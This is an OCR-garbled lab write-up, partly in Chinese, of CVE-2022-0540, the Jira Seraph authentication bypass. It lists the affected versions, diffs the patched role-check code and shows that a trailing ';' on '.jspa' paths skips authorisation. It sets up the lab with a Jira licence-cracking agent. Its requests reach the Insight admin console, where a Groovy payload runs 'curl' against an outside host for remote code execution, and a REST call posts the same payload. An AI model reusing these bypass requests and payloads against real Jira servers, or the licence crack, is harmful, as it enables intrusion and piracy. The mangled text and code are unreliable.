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jira 8.13.18 (https://product—downloads.atlassian.com/software/jira/downloads/atlassian—

jira—software—8.13.18.tar.gz)

jira 8.13.17 (https://product-downloads.atlassian.com/software/jira/downloads/atlassian—

jira-software—8.13.17.zip)
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As we said earlier, this is an authentication bypass (https://thesecmaster.com/what—is—
authentication-bypass—vulnerability—-how—to-prevent-it/) vulnerability in the Jira Seraph
web authentication framework. The security researcher Khoadha from Viettel Cyber
Security team says (https://confluence.atlassian.com/jira/jira—security—advisory—2022—
04-20-1115127899.html) “this flaw could be exploited by sending a specially crafted HTTP
request to bypass authentication and authorization requirements in WebWork actions using
an affected configuration.”

0x02 SRR

Jira:

- Jira FiEhRAS < 8.13.18

- Jira 8.14.x, 8.15.x, 8.16.x, 8.17.x, 8.18.x, 8.19.x
- Jira 8.20.x < 8.20.6

- Jira 8.21.x

Jira Service Management:

- Jira Service Management FiB k7 < 4.13.18

— Jira Service Management 4.14.x, 4.15.x, 4.16.x, 4.17.x, 4.18.x. 4.19.x
— Jira Service Management 4.20.x < 4.20.6

- Jira Service Management 4.21.x
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B/ docker %1% 8.13.17 8.13.18

jira B%f# (https://programmer.group/docker—installs—jira—and-confluence-cracked—

version.html)

atlassian—agent (https://gitee.com/pengzhile/atlassian-agent)

FROM atlassian/jira-software:8.13.17
USER root

# BRERBEMASE
COPY "atlassian-agent.jar" /opt/atlassian/jira/

# REBHMBREE
RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar
${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh

LKL dockerfile REAAMNT (InLiFIRO)

RUN echo 'export CATALINA_OPTS="-javaagent:/opt/atlassian/jira/atlassian-agent.jar -
agentlib: jdwp=transport=dt_socket,server=y,s
uspend=n,address=*:8000 ${CATALINA_OPTS}"' >> /opt/atlassian/jira/bin/setenv.sh

BIERGESES

docker build -t jira/jira-crack:8.13.17 .

docker volume create --name jiraVolume

docker run -v jiraVolume:/var/atlassian/application-data/jira --name="jira" -d --net=host
jira/jira-crack:8.13.17

R dockerfile Hi%8, EAZE XM AIBATE docker run H0_E

-e JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib: jdwp=transport=dt_socket,server=y,s
uspend=n,address=*:8000"

AR license

java -jar atlassian-agent.jar -d -m test@test.com -n BAT -p jira -o http://192.168.111.129
-s BA@5-WW22-Y57K-EJOS
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12 D:\xxx\atlassian—jira—software—8.13.17—standalone\atlassian—jira\WEB-INF\classes
D:\xxx\atlassian-jira—software-8.13.17-standalone\atlassian—-jira\WEB-INF\lib

D:\xxx\atlassian—jira—software—8.13.17—standalone\lib
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private String overrideRoles(String rolesRequired, Element action) {
4f (action.hashttribute("roles-required
return action.getAteribute("roles required”);
return rolesRequired;

public SetcString> getRequiredioles (HrtpServietRequest request) (

String targetURL;
SetString> requiredRoles — new HashSete>();
String currentURL = request. getRequestURL();
rrentURL. lastTndex0f('/');

)¢
~ currentURL.substring(lastslash);

T else {
tangetURL ~ currentURL;

String actionMatch = this.actionMapper. get(targetURL);
if (actionbiatch 1= null) {
String rolesstr = this.roleshap.get (actionatch);
StringTokenizer st = new StringTokenizer(rolesstr, ", “);
while (st.hastoreTokens())
requiredioles. add(st.nextToken());

Feturn Collections.unnodifiableset(requiredioles);

D AWEB-
2022/4/26 153948 4,361 T Java I8 v ANSI + PC

private String overrideRoles(string rolesRequired, Element action) {
if (action.hashttribute("r e )
return action.getattribute(
return roleskequired;

public Setctring> getRequiredRoles (HttpServietRequest request) (

Setcstrings requiredRoles - new HashSet<>();

@ String actionUr] = ActionNaneCleaner. getActionastUrlSegnent (request);
String actionMatch - this.actionMapper-get(actionUrl);
Sontat nul
olestap. get (actiontatch) ;
St = new StringTokenizer(rolesstr, *, *);

while (st.hashoreTokens())
requiredRoles. add(st.nextToken()) ;

return Collections.unmodifiableset(requiredoles);
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stackoverflow (https://stackoverflow.com/questions/4931323/whats—the—difference—

between-getrequesturi—and-getpathinfo-methods-in-httpservl)
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Servlet is mapped as /test%3F/* and the application is deployed under /app.

http://3@thh.loc:8480/app/test%3F/ak3F+b; jsessionid=Sk3F+ID?p+l=c+dép+2=c+f#a

Method URL-Decoded Result

getContextPath() no fapp

getlocalAddr() 127.6.8.1

getlocalName () 3@thh.loc

getlocalPort() 8480

getMethod() GET

getPathInfo() yes fa?+h

getProtocol() HTTP/1.1

getQueryString() no ptl=c+d&p+2=c+f
getRequestedSessionId() no SE3F+ID

getRequestURI() no Jfapp/test®3F/ak3F+b; jsessionid=5+ID
getRequestURL() no http://3@thh.loc:8486/app/test¥3F/a%3F+b; jsessionid=5+ID
getScheme() http

getServeriName () 3@thh.loc

getServerPort() 8488

getServletPath() yes ftest?

getParameterames() yes [p 2, p 1]

getParameter("p 1") yes cd

In the example above the server is running on the localhost:8488 and the name 3@thh.loc was
put into OS hosts file.

Comments

e "+"is handled as space only in the query string

» Anchor "#a" is not transferred to the server. Only the browser can work with it.

s |fthe url-pattern inthe servlet mapping does not end with * (for example /test or *.9sp),
getPathInfo() returns null.

If Spring MVC is used

s Method getPathInfo() returns null.

+ Method getservletPath() returns the part between the context path and the session ID. In
the example above the value would be /test?/a?+b

» Be careful with URL encoded parts of @RequestMapping and @RequestParam in Spring. It is
buggy (current version 3.2.4) and is usually not working_as expected.
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—>JiraSeraphSecurityService.getRequiredRoles
—>loginManagerimpl.getRequiredRoles
—>authorisationManagerimpl.getRequiredRoles
—>WebworkPluginSecurityServiceHelper.getRequiredRoles

—>ActionNameCleaner.getActionLastUrISegment (18 k)

1518 http://192.168.111.129:8080/secure/Dashboard.jspa
(http://192.168.111.129:8080/secure/Dashboard.jspa) ;
securityFilter F{#F getServletPath() 3XBY originalURL
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service : getSecurityConfig().getServices()
riceRoles = service.getRequiredRoles(httpServletRequest);
es.addall (serviceRoles);
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There are 3 services were implemented in Jira:

1. *JiraPathService: If the requested servlet path start with /secure/admin/, it will

require the admin role.*
2. *WebworkService: Get roles—required config of webwork in the actions.xml file*

3. *JiraSeraphSecurityService: Get roles—required config of webwork action in all

plugin's atlassian—plugin.xml file*

HIR# WebworkPluginSecurityServiceHelper &

etURL = currentURL.substring(lastSlash
targetURL = currentURL
.get(targetURL)
tring) . nMatch)

StringTokenizer

extToken(

e b = adimiln.c
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That mean if we put some path parameter to the URI (eg. "AdminAction.jspa;"), Seraph
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won't be able to find any match case in actionMapper but the webwork dispatcher still can

find the action
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http://192.168.111.129:8080/InsightPluginShowGeneralConfiguration. jspa;

B 302 PR

Request

Hex w (=

1 GET /InsightPluginShowGeneralConfiguration. jspa HTTP/1. 1

2 Host: 192.168.111. 129:8080

3 Upgrade-Insecure-Requests: 1

4 User-Agent: Wozilla/5.0 (Windows NT 10.0; Win6d; x64)
AopleWebKit/537.36 (KHTNL, like Gecko) Chrome/98.0.4758.82
Safari/537.36

5 Accept:
text/html, appl ication/xhtml+xml, app! ication/xm| ;q=0.9, image/avif, ima
ge/webp, image/apng, */*;q=0.8, app| ication/si gned-exchange; v=b3;4=0. 9

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-ON, zhq=0.9

8 Connection: close

10

Response

Raw Hex =

1 HTTP/1.1 302

2 X-AREQUESTID: 673x1020x1

3 Referrer-Policy: strict-origin-when-cross-origin

4 X-XSS-Protection: 1; mode=block

5 X-Content-Type-Options: nosniff

6 X-Frame-Options: SAMEORIGIN

7 Content-Secur ity-Policy: frame-ancestors 'self’

8 Strict-Transport-Security: max-age=31536000

9 Cache-Control : no-cache, no-store, must-revalidate

10 Pragma: no-cache

11 Expires: Thu, 01 Jan 1970 00:00:00 GHT

12 Set-Cookie: JSESSIONID=52D34CDE74B98DD315308B0523B3520A; Path=/;
HttpOnly

13 Location:
/login. jsp?permissionViolation=truebos_destination=%2FInsightPlugin$

howGeneralConf iguration. jspadpa =guser_role=ADMIN
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5 - IC O 8 192.168.111.129:80.

80/InsightPluginShowGeneralConfiguration.js

D EAEE. DaeEmss @ FiFrte D =aRLr @ SFEE & 880 & BS5E @ FiFtlE G a8 @ Mibk: @ Hack This Site!

This is where you set general configuration for the Insight plugin.
User Interaction

Attribute default label:

Name

Attribute default description:

The name of the object

Open Object dialog event

Click

Default number of objects fetched in custom fields
25

General configuration

Insight Audit Log enabled

No

Include attribute values in audit log
No

Restore Insight index from file
Yes

Store cache on shutdown

Yes

Restrict Insight cache

No

Maximum File upload size
10.0 MB

Insight parallelism

Process data sources via temp files during imports.
No

(https://xzfile.aliyuncs.com/media/upload/picture/20220713160500-7e7fa8c2-0282—
1.png)

admin R TR AE#Z@1T groovy script SIZH1TH<, BMRI& Jenkins

def command = 'curl http://192.168.111.128:8000/exp’
def proc = command.execute()
proc.waitFor()

println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

<« c O D 127.0.0.1:8080/secure/admin/InsightPlugininitscriptConsole,jspa

BRI RERhE. RTERE, & REAR. BSHL, HEE BX0. .

© Jira Software v ME v @Ev @R v Insight v |

BB anmieEEm

mBEF WME RE BENR BPEE BNAHRRE R4

ATLASSIANSES
=
=y © Insight RS

$5 ] AFE e RbTE £T B 4E Automation SR{EEY Groovy BIZst3T H7E Insight [FAbIEThEEREMM Groovy iz,

INSIGHT

def command = 'curl http://192.168.111,128:8000/exp’
Insight B8 def proc = command.execute()

proc.waitFor() |
5| Insight

println "Process exit code: ${proc.exitvalue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

Insight BIZ-5i51 &

No M e W N e

Insight 3% &

Insight #2%&
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TEFTHEAREIR
BHEEIHBIEZ http://192.168.111.129:8080/secure/admin/InsightPluginWhiteList.jspa
(http://192.168.111.129:8080/secure/admin/InsightPluginWhiteList.jspa)

£ / secure/admin / W7, KEBMSSEIRIAE,
ps. B3 / secure/admin / 7£ JiraPathService B ILELZI, SecurityFilter &FN—1 admin

role

init(Map<String, String> stringStringMap, SecurityConfig securityConfig
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EERMETIRHAKEGLH run BRIHEHAEBM api, ZIIE cookie, FAZ XN HENHE

T8, FRANTEEERITSHS.

I POST /rest/insight/1.0/groovy/evaluate; HTTP/1.1 1 HTTP/1.1 401
2 Host: 192.168.111.129:8080 2 X-AREQUESTID: 406x1751x1
3 Content-Length: 286 3 X-ASESSIONID: xzujno
1 Accept: application/json, text/javascript, */%; q=0.01 4 Referrer—Policy: strict-origin-when-cross-origin
5 X-Requested-Hith: XMLHttpRequest 5 X-XSS-Protection: 1; mode=block
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64) AppleliebKit/537.36 | 6 X-Content-Type-Options: nosniff

(KHTML, 1ike Gecko) Chrome/101.0.4951. 67 Safari/537.36 7 X-Frame-Options: SAMEORIGIN
7 Content-Type: application/json; charset=UTF-8 8 Gontent-Secur ity—Pol icy: frame-ancestors 'self'
3 Origin: http://192.168.111.129:8080 9 Strict-Transport-Secur ity: max-age=31536000
? Referer: 10 X-AUSERNAME: anonymous

http://192.168. 111.129:8080/secure/admin/InsightPlugininitScriptConsole. | 11 Cache-Control: no-transform

12 Vary: User-Agent

13 WNM-Authenticate: OAuth realm="http%3A%2F42F192. 168.111. 129%3A8080"
14 Content-Type: application/json;charset=UTF-8
15 Date: Mon, 16 May 2022 06:46:08 GNT

jspa
) Accept-Encoding: gzip, deflate
| Accept-Language: zh-CN, zh;q=0. 9
2 Cookie: atlassian. xsrf. token=

BAO5-WH22-Y57K-EJ0S_51972dae7aaab9982adcd0617f2¢73a81da7f6_lout; 16 Connection: close
JSESS | ON| D=3E6EBCCOEF9022E8874FB0949D125017 17 Content-Length: 85
3 Connection: close 18
' 19 {
50 "message”:"Client must be authenticated to access this resource. ",
“code": "status-code":401
“def command = "cur| http://192.168.111. 128:8000/exp123' \ndef proc = ¢ )
ommand. execute () \nproc. waitFor () \n\nprintin \"Process ex

it code: ${proc.exitValue()}\"\nprintin \"Std Err: ${proc.err. text}\"\
nprintin \"Std Out: ${proc. in. text}\"",

"issueKey”
"ob jectKey
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CVE-2022-0540 - Authentication bypass in Seraph
(https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass—in—
seraph/)

pocsuite3 poc —
cve_2022_0540.py
(https://github.com/wuerror/pocsuite3_pocs/blob/main/cve_2022_0540.py)


https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
https://github.com/wuerror/pocsuite3_pocs/blob/main/cve_2022_0540.py

